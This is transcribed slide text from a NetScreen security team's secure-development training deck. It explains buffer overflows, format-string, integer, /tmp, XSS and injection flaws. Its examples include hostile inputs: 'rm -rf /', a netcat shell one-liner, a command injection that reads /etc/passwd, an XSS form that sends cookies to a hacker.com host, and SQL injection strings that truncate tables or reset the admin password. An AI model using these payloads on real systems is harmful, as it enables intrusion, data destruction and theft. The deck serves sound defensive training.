Secure Product Development How to avoid being 0wnz0r3d by 31337 h4x04z.
-
date post
22-Dec-2015 -
Category
Documents
-
view
215 -
download
2
Transcript of Secure Product Development How to avoid being 0wnz0r3d by 31337 h4x04z.
Secure Product Development
How to avoid being 0wnz0r3d by 31337 h4x04z.
Security Team Introduction Part of service group Respond to NetScreen product flaws Audit security of NetScreen products Provide security knowledge to R&D Create/maintain IDP signatures Create/maintain hardened OS images
Why Worry About Security?
We sell a security product Embarrassment Loss of revenue Patch releases are inefficient Save Security Team work
Why Security Flaws Exist
Security is hard! Lack of education Lack of priority/schedule No liability laws (yet) C, the cursed language
Designing a Secure Product
Security from the beginning Clear security requirements Multiple layers of security Review issues in similar products Allow time for security
Developing a Secure Product
Training/experience Think like a hacker Never ever trust input Check data obsessively Code reviews
Testing a secure Product
Allocate time for security testing Be mean (breaking things is your job) Think like a hacker Test for common flaws
Common Flaws - BOFs
Buffer overflow Most common serious flaw Mostly problem in C libc functions usually at fault
Buffer Overflows - Cont. Text Segment
where executable code is stored
cannot be written to Heap
where malloced memory is located
Stack stores
• local variables• stack frames
grows down
Buffer Overflows - Cont. Stack Frame
Tracks function calls Saved Frame Pointer
• points to the FP of the calling function
Return Address• contains address of code of calling function
• this is the next line-of-code executed after a return statement
Local Variables
Buffer Overflows - Cont. Example of a Stack
Buffer Overflow
void main(int argc, char **argv){ foo(argv[1]);}
void foo(char *str){ int a; char c[16];
strcpy(c, str);
return;}
Buffer Overflows - Cont. Use Example:
# ./program “hello”
Buffer Overflows - Cont. Use Example:
# ./program “AAAAAAAAAAAAAAAAAAAAAAAAAAAA”
(that’s 28 As)
Return Address is now “AAAA” or 0x41414141!
Buffer Overflows - Cont. Use Example:
# ./program “AAAAAAAAAAAAAAAAAAAAAAAA0xc0778012”
Return Address is now 0xc0778012on function return, program starts
executing c[0]Since we control what goes in c[], we
now control the program!
Buffer Overflows - Cont. What can a h4x0r do now?
Crash the machine (DoS) Destroy data (rm -rf /) Install a trojan (subseven, backorifice) Spawn a shell (nc -l -p 5000 | sh)
On a NetScreen? DoS (crash) most common result Overwrite the policy with garbage? Modify the policy to allow access? Execute arbitrary ScreenOS commands?
Buffer Overflows - Cont. Heap overflows Can modify variable values
logged_in = 1 is_superuser = 1
Code execution Harder than stack overflows Only works on some systems Overwrites malloc headers This is a very complex attack
Dangerous libc Functions The worst
strcpy strcat sprintf, vsprintf gets strlen scanf, sscanf, fscanf,
vscanf, vsscanf
Some others realpath getopt getpass streadd strecpy strtms getwd
Format String Flaws Caused by improper use of *printf
functions printf(str) instead of printf(“%s”, str)
%n argument writes to stack Use field widths to increase value (e.g.
%100d) Use multiple %n (one for each byte)
Format String Exampleint main(int argc, char **argv){ char str[256];
scanf(“%256s”, str); //look ma, no overflow! printf(str);}
# ./programAAAA%08x%08x%08x%08x%08x%n
We’ve overwritten memory @ 0x41414141. Replace AAAA with your return address, or any other data structure location
Format Strings - Cont.
What can a hacker do now? Take control of program (overwrite return
address) Dump memory using %s or %x Modify arbitrary data structures
• logged_in = 1 Crash the program (write to bogus address,
SEGFAULT)
Format Strings - Cont. Dangerous functions
• fprintf• printf• sprintf• snprintf• vfprintf• vsprintf• vsnprintf• syslog• others (err*, verr*, warn*, vwarn*)• your own logging functions
Integer Flaws
Even integer math can contain flaws Sign mistakes Integer overflows
Integer Sign Flaws
Relatively common Have to check function prototypes (unsigned int)-1 = 4,294,967,295 Hard to exploit Apache chunked encoding vulnerability
Integer Sign Flaw - Examplevoid foo(int len, char *src){ buf[256]; if(len > 256) { //no overflows allowed! printf(“error!”); return; }
memcpy(buf, src, len); printf(“ok!”);}
foo(7, “hello”); -- ok!foo(500, ...); -- error!foo(-1, ...); -- SEGFAULT
Integer Overflows
What happens when an int gets too big? 4,294,967,295 + 1 = 0 All integer math is mod 2^32 No way to tell this has happened
Integer Overflow Exampleint* arraydup(int *array, unsigned int n){
int *newarray = malloc(n * sizeof(int));
int i;
for(i = 0; i < n; i++){
newarray[i] = array[i];
}
return newarray;
}
if n = 1073741824, n * sizeof(int) = 4294967296 = 0
Integer Overflow Example(2)char *strcat(char *str1, uint len1, char *str2, uint
len2)
{
char *newstr = malloc(len1 + len2);
memcpy(newstr, str1, len1);
memcpy(newstr + len1, str2, len2);
return newstr;
}
if len1 = len2 = 0x80000000, len1 + len2 = 0x0100000000 = 0
result: SEGFAULT
/tmp Attacks
Can happen when filename is predictable Attacker can symlink file to anything Not just /tmp Solution: use tempnam, etc.
/tmp Attacks - Examplevoid main(){ int fd = creat(“/tmp/foo”, O_RDRW);
write_temp_data(fd);}
Attacker can symlink /tmp/foo to some other file owned by the process UID. You’re not root are you?
/etc/passwd/var/firewall/policy.txt
if attacker can control what is written, could be even worse attack
Cross-Site Scripting HTML/javascript attack Way to trick other users Can Occur whenever user-provided data
is displayed (NetScreen FW Logs) Very difficult to block, script can be
entered many ways Only allow good characters, don’t try to
block bad
Cross-Site Scripting - Example<?php
print “Welcome $username\n”;
?>
What if username was:
<form action=www.hacker.com/gather.cgi><input type=hidden name=cookie onLoad=“value=document.cookie; form.submit();”></form>victim
Victim would see “Welcome victim!” but their cookie was just stolen.
Can be made less conspicuous by using URL encodings, e.g.:
/login.php?username=<form...
can look like:
/login.php?%75%73%65%72%6e%61%6d%65%3d%3c%66%6f%72%6d...
Command/SQL Injection
Can occur whenever commands are executed
Also in all SQL statements Prematurely end statement, add 2nd
statement Don’t filter out bad characters, only allow
good characters
Command Injection - Example#!/bin/perl
#Web-based finger gateway
$user = $form[user];
@output = `/bin/finger $user`;
print @output;
What if $form[user] was “foo; rm -rf /” or “foo; cat /etc/passwd”?
The ‘;’ terminates the 1st command, begins 2nd command.
Not only ‘;’, some shells allow &&, ||, etc.
SQL Injection - Examplevoid insert_log(char *user, char *log){
db->insert(“insert into log values(%s, %s)”, user, log);
}
What if log was: “executed command: foo); truncate table log;”
(presumably the attacker typed “foo); truncate table log;” at the prompt
or this: “update userdb set password=$passwd where user=$user;”
What if $user was “attacker or user like ‘admin’”
The attacker just set the admin’s password!
Summary
Plan for security Always keep security in mind For developers:
Never trust input Check everything Only allow valid data Be familiar with common security flaws
Thank You
You’ve just made our job easier.